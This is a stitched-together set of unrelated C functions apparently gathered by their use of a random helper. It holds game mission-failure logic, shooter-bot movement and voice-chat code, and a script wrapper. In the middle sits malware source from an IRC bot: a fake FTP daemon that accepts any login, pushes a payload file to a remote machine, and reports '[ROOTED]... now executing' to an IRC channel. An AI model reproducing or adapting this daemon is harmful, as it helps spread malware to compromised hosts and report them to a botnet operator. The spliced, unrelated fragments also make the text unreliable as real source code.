k < MANNED[Mev[STEP].pad]; k++) { if (brandom(100) >= val) { F_IRCrew(F_INJ, MA[Mev[STEP].pad][k].A); Mev[STEP].StepInfo = 2100 + Mev[STEP].loc; FNote = 9; } }; // for ctr = 0; for (k = 0; k < MANNED[Mev[STEP].pad]; k++) { if (Data->P[plr].Pool[temp].Status == AST_ST_RETIRED) { if (brandom(100) > xtra) { F_KillCrew(F_ONE, MA[Mev[STEP].pad][k].A); Mev[STEP].StepInfo = 3100 + Mev[STEP].loc; FNote = 8; ctr++; } } } if (ctr == MANNED[Mev[STEP].pad]) { Mev[STEP].StepInfo = 4100 + Mev[STEP].loc; Mev[STEP].trace = 0x7F; } else if (Mev[STEP].fgoto == -1) { Mev[STEP].trace = 0x7F; } else { Mev[STEP].trace = STEP + 1; } if (Mev[STEP].FName[3] == 0x30) { Mev[STEP].trace = 0x7f; } break; case 17: // VAL% survial and XTRA% if injury and retirement Mev[STEP].StepInfo = 1300 + Mev[STEP].loc; for (k = 0; k < MANNED[Mev[STEP].pad]; k++) { if (brandom(100) >= xtra) { F_IRCrew(F_RET, MA[Mev[STEP].pad][k].A); Mev[STEP].StepInfo = 2300 + Mev[STEP].loc; FNote = 9; } }; ctr = 0; for (k = 0; k < MANNED[Mev[STEP].pad]; k++) { if (brandom(100) >= val) { F_KillCrew(F_ONE, MA[Mev[STEP].pad][k].A); Mev[STEP].StepInfo = 3300 + Mev[STEP].loc; FNote = 8; ctr++; } }; // for if (ctr == MANNED[Mev[STEP].pad]) { Mev[STEP].StepInfo = 4100 + Mev[STEP].loc; Mev[STEP].trace = 0x7F; } else if (Mev[STEP].fgoto == -1) { Mev[STEP].trace = 0x7F; } else { Mev[STEP].trace = STEP + 1; } break; case 18: // set MFlag from VAL, branch if already set if ((MFlag & val) > 0) { FNote = 1; Mev[STEP].StepInfo = 1800 + Mev[STEP].loc; if (Mev[STEP].fgoto == -1) { Mev[STEP].trace = 0x7F; FNote = 0; } else if (Mev[STEP].fgoto != -2) { Mev[STEP].trace = Mev[STEP].fgoto; } else { Mev[STEP].trace = STEP + 1; } } else { FNote = 0; Mev[STEP].StepInfo = 18; MFlag = MFlag | val; if (Mev[STEP].fgoto == -1) { Mev[STEP].trace = 0x7F; } else { Mev[STEP].trace = STEP + 1; } }; break; case 19: // Set mission flag and recheck step if ((MFlag & val) > 0) { Mev[STEP].StepInfo = 1200 + Mev[STEP].loc; FNote = 2; } else { FNote = 2; Mev[STEP].StepInfo = 19; MFlag = MFlag | val; }; Mev[STEP].trace = STEP; // recheck step // Mev[STEP].rnum=random(10000)+1; // new failure roll // Mev[STEP].dice=random(100)+1; // new die roll break; case 22: // one man % survival :: EVA Mev[STEP].StepInfo = 19; if (brandom(100) > val) { FNote = 8; crw = (EVA[Mev[STEP].pad] != -1) ? MA[Mev[STEP].pad][EVA[Mev[STEP].pad]].A : MA[other(Mev[STEP].pad)][EVA[other(Mev[STEP].pad)]].A; F_KillCrew(F_ONE, crw); if (Mev[STEP].Name[6] == 0x36) { death = 1; // one man lem } Mev[STEP].StepInfo = 3200 + Mev[STEP].loc; Mev[STEP].trace = STEP + 1; }; break; case 23: // VAL% retirement, hardware cut %XTRA perm FNote = 0; Mev[STEP].StepInfo = 23 + Mev[STEP].loc; for (k = 0; k < MANNED[Mev[STEP].pad]; k++) { if (brandom(100) >= val) { FNote = 9; F_IRCrew(F_RET, MA[Mev[STEP].pad][k].A); Mev[STEP].StepInfo = 2400 + Mev[STEP].loc; ctr++; } }; //Used to reduce safety if (Mev[STEP].fgoto == -1) { Mev[STEP].trace = 0x7F; } else if (Mev[STEP].fgoto != -2) { Mev[STEP].trace = Mev[STEP].fgoto; } else { Mev[STEP].trace = STEP + 1; } break; case 24: // Reduce Safety by VAL% perm :: hardware recovered FNote = 5; Mev[STEP].E->Safety -= brandom(10); if (Mev[STEP].E->Safety <= 0) { Mev[STEP].E->Safety = 1; } Mev[STEP].StepInfo = 800 + Mev[STEP].loc; Mev[STEP].trace = 0x7F; break; case 25: // Mission Failure recover Minishuttle FNote = 5; Mev[STEP].StepInfo = 700; Mev[STEP].trace = 0x7F; // End of Mission break; case 26: // Subtract VAL% from Equip perm and branch to alternate FNote = 1; Mev[STEP].StepInfo = 1926; Mev[STEP].E->Safety -= brandom(10); if (Mev[STEP].E->Safety <= 0) { Mev[STEP].E->Safety = 1; } if (Mev[STEP].fgoto == -1) { Mev[STEP].trace = 0x7F; FNote = 7; } else if (Mev[STEP].fgoto != -2) { Mev[STEP].trace = Mev[STEP].fgoto; } else { Mev[STEP].trace = STEP + 1; } break; case 30: // Duration Failure Data->P[plr].Mission[MPad + Mev[STEP].pad].Duration = 1; //Original code would also return 1 durx = -1; // end durations FNote = 7; Mev[STEP].StepInfo = 1950; Mev[STEP].trace = STEP + 1; break; case 31: // kill EVA and LM people and branch VAL steps //Dock_Skip=1; Mev[STEP].trace = Mev[STEP].dgoto; Mev[STEP].StepInfo = 3100 + STEP; if (strncmp(Mev[STEP].E->ID, "C4", 2) == 0) { F_KillCrew(F_ALL, 0); Mev[STEP].StepInfo = 4100 + STEP; } else { if (JOINT == 0) { F_KillCrew(F_ONE, MA[0][EVA[0]].A); if (LM[0] != EVA[0]) { F_KillCrew(F_ONE, MA[0][LM[0]].A); } } else { F_KillCrew(F_ONE, MA[1][EVA[1]].A); if (LM[1] != EVA[1]) { F_KillCrew(F_ONE, MA[1][LM[1]].A); } } } death = 1; break; case 33: // Kill Crew on All Capsules (happens only on dockings) FNote = 8; if (MANNED[Mev[STEP].pad] > 0) { F_KillCrew(F_ALL, 0); } if (MANNED[other(Mev[STEP].pad)] > 0) { Mev[STEP].pad = other(Mev[STEP].pad); // switch pad for a sec F_KillCrew(F_ALL, 0); Mev[STEP].pad = other(Mev[STEP].pad); // restore current pad } Mev[STEP].StepInfo = 4600 + Mev[STEP].loc; Mev[STEP].trace = 0x7F; break; case 1: case 8: case 10: case 11: case 14: case 21: case 27: case 28: case 29: default: FNote = 0; Mev[STEP].StepInfo = 50; if (Mev[STEP].fgoto == -1) { Mev[STEP].trace = 0x7F; } else { Mev[STEP].trace = STEP + 1; } break; // nothing : continue steps } if ((Mev[STEP].Name[0] == 'A') && MH[Mev[STEP].pad][7] != NULL) { // boosters involved if (MH[Mev[STEP].pad][4]->Safety == MH[Mev[STEP].pad][4]->Base) { MH[Mev[STEP].pad][7]->Safety = MH[Mev[STEP].pad][7]->Base; } } VerifySF(plr); // Keep all safety's within the proper ranges // check for all astro's that are dead. End mission if this is the case. while (bioskey(1)) { bioskey(0); } key = 0; if (!AI[plr]) { temp = FailureMode(plr, FNote, text); } if (temp == 0 && FNote == 3) { Mev[STEP].trace = STEP + 1; } else if (FNote == 3) { Mev[STEP].StepInfo += 1000; SCRUBS = 1; } if (SCRUBS == 1) { if (Mev[STEP].loc == 8 && noDock == 1) { PROBLEM = 1; } if (PROBLEM == 0) { if (Mev[STEP].fgoto == -1) { // End of Mission Flag if (Mev[STEP].PComp > 0) { Mev[STEP].PComp = 4; } Mev[STEP].trace = 0x7F; // End of Mission Signal FNote = 5; } else if (Mev[STEP].fgoto != -2) { // Alternate Step is other num if (Mev[STEP].PComp > 0) { Mev[STEP].PComp = 4; } Mev[STEP].trace = Mev[STEP].fgoto; } else { Mev[STEP].trace = STEP + 1; } } } if (strncmp(Mev[STEP].E->ID, "M3", 2) == 0) { death = 0; //what??? } // New death branching code if (death == 1) { if (Mev[STEP].dgoto == 0) { Mev[STEP].trace = 0x7f; } else if (Mev[STEP].dgoto > 0) { Mev[STEP].trace = Mev[STEP].dgoto; } } if (type == 9 || type == 19) { Mev[STEP].trace = STEP; Mev[STEP].rnum = brandom(10000) + 1; // new failure roll Mev[STEP].dice = brandom(100) + 1; // new die roll } death = 0; return FNote; }
DWORD WINAPI ftpd(LPVOID pParam) { WSADATA wsdata; SOCKET listener; SOCKET newfd; char sendbuf[IRCLINE]; struct sockaddr_in server_address; struct sockaddr_in remoteaddr; long h; int reuse_addr = 1; unsigned long mode = 1; int fdmax; int i; int addrlen; int nbytes; char buf[100]; // char t_buf[1024]; char tmpbuf[100]; char tmpbuf2[100]; char a[4]; char b[4]; char c[4]; char d[4]; char p1[50]; char p2[50]; char tmpip[15]; int po,po2; FTP ftp = *((FTP *)pParam); FTP *ftps = (FTP *)pParam; ftps->gotinfo = TRUE; struct fd_set master; // master file descriptor list struct fd_set read_fds; // temp file descriptor list for select() FD_ZERO(&master); // clear the master and temp sets FD_ZERO(&read_fds); WSAStartup(0x0101, &wsdata); srand(time(NULL)); FTP_PORT = brandom(1030,65200); listener = socket(AF_INET, SOCK_STREAM, 0); setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, (char*)&reuse_addr,sizeof(reuse_addr)); ioctlsocket(listener, FIONBIO, &mode); server_address.sin_family = AF_INET; server_address.sin_addr.s_addr = INADDR_ANY; server_address.sin_port = htons(FTP_PORT); if (bind(listener, (struct sockaddr *) &server_address,sizeof(server_address)) < 0 ) { return 1; } listen(listener,10); FD_SET(listener, &master); fdmax = listener; while(1) { read_fds = master; if (select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1) { return 1; } for(i = 0; i <= fdmax; i++) { memset(buf,0,sizeof(buf)); memset(tmpbuf,0,sizeof(tmpbuf)); if (FD_ISSET(i, &read_fds)) { if (i == (int)listener) { addrlen = sizeof(remoteaddr); if ((newfd = accept(listener, (struct sockaddr *)&remoteaddr,&addrlen)) != -1) { FD_SET(newfd, &master); if ((int)newfd > fdmax) { fdmax = newfd; } send(newfd, "220 NzmxFtpd 0wns j0\n",21 , 0); } } else { if ((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0) { FD_CLR(i, &master); closesocket(i); } else { sscanf(buf,"%s %s",tmpbuf,tmpbuf2); if (strcmp(tmpbuf,"USER") == 0) { send(i,"331 Password required\n",22 , 0); } else if (strcmp(tmpbuf,"PASS") == 0) { send(i,"230 User logged in.\n",20 , 0); } else if (strcmp(tmpbuf,"SYST") == 0) { send(i,"215 NzmxFtpd\n",13 , 0); } else if (strcmp(tmpbuf,"REST") == 0) { send(i,"350 Restarting.\n",16 , 0); } else if (strcmp(tmpbuf,"PWD") == 0) { send(i,"257 \"/\" is current directory.\n",30 , 0); } else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"A") == 0)) { send(i,"200 Type set to A.\n",19 , 0); } else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"I") == 0)) { send(i,"200 Type set to I.\n",19 , 0); } else if (strcmp(tmpbuf,"PASV") == 0) { char pasv[] = "425 Passive not supported on this server\n"; send(i, pasv, strlen(pasv), 0); } else if (strcmp(tmpbuf,"LIST") == 0) { char list[] = "226 Transfer complete\n"; send(i, list, strlen(list), 0); } else if (strcmp(tmpbuf,"PORT") == 0) { sscanf(buf,"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]",a,b,c,d,p1,p2); po = atoi(p1); po2 = atoi(p2); memset(p1,0,sizeof(p1)); sprintf(p1,"%x%x\n",po,po2); h = strtoul(p1, NULL, 16); sprintf(tmpip,"%s.%s.%s.%s",a,b,c,d); send(i,"200 PORT command successful.\n",29 , 0); } else if (strcmp(tmpbuf,"RETR") == 0) { send(i,"150 Opening BINARY mode data connection\n",40 , 0); if(ftp_Data_connect(tmpip,(int)h) == 1) { if (Ftp_data_transfer() == 1) { send(i,"226 Transfer complete.\n",23 , 0); sprintf(sendbuf,"4<<12[ROOTED]: %s, port:%d now executing %s on remote machine.4>>",tmpip,FTP_PORT,ftp.filename); if (!ftp.silent) irc_privmsg(ftp.sock,ftp.chan,sendbuf,ftp.notice); addlog(sendbuf); } } else { send(i,"425 Can't open data connection.\n",32,0); } } else if (strcmp(tmpbuf,"QUIT") == 0) { send(i,"221 Goodbye happy r00ting.\n",27 , 0); } memset(buf,0,sizeof(buf)); } } } } } return 1; }
void BOT_DMclass_Move( edict_t *self, usercmd_t *ucmd ) { #define BOT_FORWARD_EPSILON 0.5f int i; unsigned int linkType; bool printLink = false; bool nodeReached = false; bool specialMovement = false; vec3_t v1, v2; vec3_t lookdir, pathdir; float lookDot; if( self->ai->next_node == NODE_INVALID || self->ai->goal_node == NODE_INVALID ) { BOT_DMclass_MoveWander( self, ucmd ); return; } linkType = AI_CurrentLinkType( self ); specialMovement = ( self->ai->path.numNodes >= MIN_BUNNY_NODES ) ? true : false; if( AI_GetNodeFlags( self->ai->next_node ) & (NODEFLAGS_REACHATTOUCH|NODEFLAGS_ENTITYREACH) ) specialMovement = false; if( linkType & (LINK_JUMP|LINK_JUMPPAD|LINK_CROUCH|LINK_FALL|LINK_WATER|LINK_LADDER|LINK_ROCKETJUMP) ) specialMovement = false; if( self->ai->pers.skillLevel < 0.33f ) specialMovement = false; if( specialMovement == false || self->groundentity ) self->ai->is_bunnyhop = false; VectorSubtract( nodes[self->ai->next_node].origin, self->s.origin, self->ai->move_vector ); // 2D, normalized versions of look and path directions pathdir[0] = self->ai->move_vector[0]; pathdir[1] = self->ai->move_vector[1]; pathdir[2] = 0.0f; VectorNormalize( pathdir ); AngleVectors( self->s.angles, lookdir, NULL, NULL ); lookdir[2] = 0.0f; VectorNormalize( lookdir ); lookDot = DotProduct( lookdir, pathdir ); // Ladder movement if( self->is_ladder ) { ucmd->forwardmove = 0; ucmd->upmove = 1; ucmd->sidemove = 0; if( nav.debugMode && printLink ) G_PrintChasersf( self, "LINK_LADDER\n" ); nodeReached = AI_NodeReached_Generic( self ); } else if( linkType & LINK_JUMPPAD ) { VectorCopy( self->s.origin, v1 ); VectorCopy( nodes[self->ai->next_node].origin, v2 ); v1[2] = v2[2] = 0; if( DistanceFast( v1, v2 ) > 32 && lookDot > BOT_FORWARD_EPSILON ) { ucmd->forwardmove = 1; // push towards destination ucmd->buttons |= BUTTON_WALK; } nodeReached = self->groundentity != NULL && AI_NodeReached_Generic( self ); } // Platform riding - No move, riding elevator else if( linkType & LINK_PLATFORM ) { VectorCopy( self->s.origin, v1 ); VectorCopy( nodes[self->ai->next_node].origin, v2 ); v1[2] = v2[2] = 0; if( DistanceFast( v1, v2 ) > 32 && lookDot > BOT_FORWARD_EPSILON ) ucmd->forwardmove = 1; // walk to center ucmd->buttons |= BUTTON_WALK; ucmd->upmove = 0; ucmd->sidemove = 0; if( nav.debugMode && printLink ) G_PrintChasersf( self, "LINK_PLATFORM (riding)\n" ); self->ai->move_vector[2] = 0; // put view horizontal nodeReached = AI_NodeReached_PlatformEnd( self ); } // entering platform else if( AI_GetNodeFlags( self->ai->next_node ) & NODEFLAGS_PLATFORM ) { ucmd->forwardmove = 1; ucmd->upmove = 0; ucmd->sidemove = 0; if( lookDot <= BOT_FORWARD_EPSILON ) ucmd->buttons |= BUTTON_WALK; if( nav.debugMode && printLink ) G_PrintChasersf( self, "NODEFLAGS_PLATFORM (moving to plat)\n" ); // is lift down? for( i = 0; i < nav.num_navigableEnts; i++ ) { if( nav.navigableEnts[i].node == self->ai->next_node ) { //testing line //vec3_t tPoint; //int j; //for(j=0; j<3; j++)//center of the ent // tPoint[j] = nav.ents[i].ent->s.origin[j] + 0.5*(nav.ents[i].ent->r.mins[j] + nav.ents[i].ent->r.maxs[j]); //tPoint[2] = nav.ents[i].ent->s.origin[2] + nav.ents[i].ent->r.maxs[2]; //tPoint[2] += 8; //AITools_DrawLine( self->s.origin, tPoint ); //if not reachable, wait for it (only height matters) if( ( nav.navigableEnts[i].ent->s.origin[2] + nav.navigableEnts[i].ent->r.maxs[2] ) > ( self->s.origin[2] + self->r.mins[2] + AI_JUMPABLE_HEIGHT ) && nav.navigableEnts[i].ent->moveinfo.state != STATE_BOTTOM ) { self->ai->blocked_timeout = level.time + 10000; ucmd->forwardmove = 0; } } } nodeReached = AI_NodeReached_PlatformStart( self ); } // Falling off ledge or jumping else if( !self->groundentity && !self->is_step && !self->is_swim && !self->ai->is_bunnyhop ) { ucmd->upmove = 0; ucmd->sidemove = 0; ucmd->forwardmove = 0; if( lookDot > BOT_FORWARD_EPSILON ) { ucmd->forwardmove = 1; // add fake strafe accel if( !(linkType & LINK_FALL) || linkType & (LINK_JUMP|LINK_ROCKETJUMP) ) { if( linkType & LINK_JUMP ) { if( AI_AttemptWalljump( self ) ) { ucmd->buttons |= BUTTON_SPECIAL; } if( VectorLengthFast( tv( self->velocity[0], self->velocity[1], 0 ) ) < 600 ) VectorMA( self->velocity, 6.0f, lookdir, self->velocity ); } else { if( VectorLengthFast( tv( self->velocity[0], self->velocity[1], 0 ) ) < 450 ) VectorMA( self->velocity, 1.0f, lookdir, self->velocity ); } } } else if( lookDot < -BOT_FORWARD_EPSILON ) ucmd->forwardmove = -1; if( nav.debugMode && printLink ) G_PrintChasersf( self, "FLY MOVE\n" ); nodeReached = AI_NodeReached_Generic( self ); } else // standard movement { ucmd->forwardmove = 1; ucmd->upmove = 0; ucmd->sidemove = 0; // starting a jump if( ( linkType & LINK_JUMP ) ) { if( self->groundentity ) { trace_t trace; vec3_t v1, v2; if( nav.debugMode && printLink ) G_PrintChasersf( self, "LINK_JUMP\n" ); //check floor in front, if there's none... Jump! VectorCopy( self->s.origin, v1 ); VectorNormalize2( self->ai->move_vector, v2 ); VectorMA( v1, 18, v2, v1 ); v1[2] += self->r.mins[2]; VectorCopy( v1, v2 ); v2[2] -= AI_JUMPABLE_HEIGHT; G_Trace( &trace, v1, vec3_origin, vec3_origin, v2, self, MASK_AISOLID ); if( !trace.startsolid && trace.fraction == 1.0 ) { //jump! // prevent double jumping on crates VectorCopy( self->s.origin, v1 ); v1[2] += self->r.mins[2]; G_Trace( &trace, v1, tv( -12, -12, -8 ), tv( 12, 12, 0 ), v1, self, MASK_AISOLID ); if( trace.startsolid ) ucmd->upmove = 1; } } nodeReached = AI_NodeReached_Generic( self ); } // starting a rocket jump else if( ( linkType & LINK_ROCKETJUMP ) ) { if( nav.debugMode && printLink ) G_PrintChasersf( self, "LINK_ROCKETJUMP\n" ); if( !self->ai->rj_triggered && self->groundentity && ( self->s.weapon == WEAP_ROCKETLAUNCHER ) ) { self->s.angles[PITCH] = 170; ucmd->upmove = 1; ucmd->buttons |= BUTTON_ATTACK; self->ai->rj_triggered = true; } nodeReached = AI_NodeReached_Generic( self ); } else { // Move To Short Range goal (not following paths) // plats, grapple, etc have higher priority than SR Goals, cause the bot will // drop from them and have to repeat the process from the beginning if( AI_MoveToShortRangeGoalEntity( self, ucmd ) ) { nodeReached = AI_NodeReached_Generic( self ); } else if( specialMovement && !self->is_swim ) // bunny-hopping movement here { BOT_DMclass_SpecialMove( self, lookdir, pathdir, ucmd ); nodeReached = AI_NodeReached_Special( self ); } else { nodeReached = AI_NodeReached_Generic( self ); } } // if static assume blocked and try to get free if( VectorLengthFast( self->velocity ) < 37 && ( ucmd->forwardmove || ucmd->sidemove || ucmd->upmove ) ) { if( random() > 0.1 && AI_SpecialMove( self, ucmd ) ) // jumps, crouches, turns... return; self->s.angles[YAW] += brandom( -90, 90 ); } } // swimming if( self->is_swim ) { if( !( G_PointContents( nodes[self->ai->next_node].origin ) & MASK_WATER ) ) // Exit water ucmd->upmove = 1; } AI_ChangeAngle( self ); if( nodeReached ) AI_NodeReached( self ); #undef BOT_FORWARD_EPSILON }
//========================================== // BOT_DMclass_VSAYmessages //========================================== static void BOT_DMclass_VSAYmessages( edict_t *self ) { if( GS_MatchState() != MATCH_STATE_PLAYTIME ) return; if( level.gametype.dummyBots || bot_dummy->integer ) return; if( self->snap.damageteam_given > 25 ) { if( rand() & 1 ) { if( rand() & 1 ) { G_BOTvsay_f( self, "oops", true ); } else { G_BOTvsay_f( self, "sorry", true ); } } return; } if( self->ai->vsay_timeout > level.time ) return; if( GS_MatchDuration() && game.serverTime + 4000 > GS_MatchEndTime() ) { self->ai->vsay_timeout = game.serverTime + ( 1000 + (GS_MatchEndTime() - game.serverTime) ); if( rand() & 1 ) G_BOTvsay_f( self, "goodgame", false ); return; } self->ai->vsay_timeout = level.time + ( ( 8+random()*12 ) * 1000 ); // the more bots, the less vsays to play if( random() > 0.1 + 1.0f / game.numBots ) return; if( GS_TeamBasedGametype() && !GS_InvidualGameType() ) { if( self->health < 20 && random() > 0.3 ) { G_BOTvsay_f( self, "needhealth", true ); return; } if( ( self->s.weapon == 0 || self->s.weapon == 1 ) && random() > 0.7 ) { G_BOTvsay_f( self, "needweapon", true ); return; } if( self->r.client->resp.armor < 10 && random() > 0.8 ) { G_BOTvsay_f( self, "needarmor", true ); return; } } // NOT team based here if( random() > 0.2 ) return; switch( (int)brandom( 1, 8 ) ) { default: break; case 1: G_BOTvsay_f( self, "roger", false ); break; case 2: G_BOTvsay_f( self, "noproblem", false ); break; case 3: G_BOTvsay_f( self, "yeehaa", false ); break; case 4: G_BOTvsay_f( self, "yes", false ); break; case 5: G_BOTvsay_f( self, "no", false ); break; case 6: G_BOTvsay_f( self, "booo", false ); break; case 7: G_BOTvsay_f( self, "attack", false ); break; case 8: G_BOTvsay_f( self, "ok", false ); break; } }
static double asFunc_brandom( double min, double max ) { return brandom( min, max ); }